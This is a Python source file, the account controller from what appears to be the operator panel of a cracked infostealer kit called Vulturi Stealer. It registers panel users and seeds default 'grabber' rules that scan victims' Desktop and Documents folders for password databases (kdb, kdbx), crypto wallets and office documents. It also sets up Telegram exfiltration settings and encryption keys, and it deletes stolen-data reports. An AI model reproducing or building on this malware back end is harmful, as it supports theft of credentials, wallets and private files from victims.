Files
Vulturi-Stealer-Cracked-2025/Panel/core/models/accounts.py
T

125 lines
4.1 KiB
Python
Raw Normal View History

2026-08-27 11:01:17 -06:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by [email protected]
# Import modules
from json import dumps
from secrets import token_urlsafe
from werkzeug.security import \
generate_password_hash, check_password_hash
# Import packages
from core.models.reports import Report
from core.manager.database import DatabaseManager
# Connect to clients database
clients_db = DatabaseManager("accounts.db")
""" Account controller """
class Account(object):
def __init__(self, username, password):
self.username = username
self.password = password
# Register new client on server
def register(self) -> bool:
# Failed register, user already exists
if self.exists() is True:
return False
# Generate password hash
password_hash = generate_password_hash(self.password)
# Insert new user to db
clients_db.execute(
sql="INSERT INTO accounts (username, password_hash) VALUES (?, ?)",
values=[self.username, password_hash],
commit_changes=True
)
# Insert default grabber rules
clients_db.execute(
sql="INSERT INTO grabber (scan_paths, extensions, owner) VALUES (?, ?, ?)",
values=[
dumps(["%Desktop%", "%Documents%"]),
dumps(["txt", "kdb", "kdbx", "wallet", "rtf", "doc", "docx", "pdf"]),
self.username
],
commit_changes=True
)
# Insert default telegram settings
clients_db.execute(
sql="INSERT INTO telegram (token, chatid, owner) VALUES (?, ?, ?)",
values=['', dumps([]), self.username],
commit_changes=True
)
# Insert random RC4 encryption key
clients_db.execute(
sql="INSERT INTO encryption (key, owner) VALUES (?, ?)",
values=[token_urlsafe(16), self.username],
commit_changes=True
)
# Insert empty target apps list
clients_db.execute(
sql="INSERT INTO targets (owner) VALUES (?)",
values=[self.username],
commit_changes=True
)
return True
# Delete client from server
def unregister(self) -> bool:
# Failed unregister, user not exists
if self.exists() is False:
return False
# Delete all reports
found_reports = Report.GetReports(
self.username,
geo_data_dict=False
)
for report in found_reports:
report.DeleteReport()
# Delete rows from database
for table in ["accounts", "grabber", "telegram", "encryption", "targets"]:
if table == "accounts": r = "username"
else: r = "owner"
clients_db.execute(
sql=f"DELETE FROM {table} WHERE {r} = ?",
values=[self.username],
commit_changes=True
)
return True
# Verify client password
def login(self) -> bool:
# Get values from db
response = clients_db.execute(
sql="SELECT password_hash FROM accounts WHERE username = ?",
values=[self.username],
commit_changes=False
)
password_hash = response[0][0]
# Verify password hash
return check_password_hash(password_hash, self.password)
# Client is exists
def exists(self) -> bool:
# Get values from db
response = clients_db.execute(
sql="SELECT id FROM accounts WHERE username = ?",
values=[self.username],
commit_changes=False
)
return len(response) != 0
# Change client password
def change_password(self, new_password: str):
password_hash = generate_password_hash(new_password)
clients_db.execute(
sql="UPDATE accounts SET password_hash = ? WHERE username = ?",
values=[password_hash, self.username],
commit_changes=True
)
# Bool
def __bool__(self):
return self.exists() and self.login()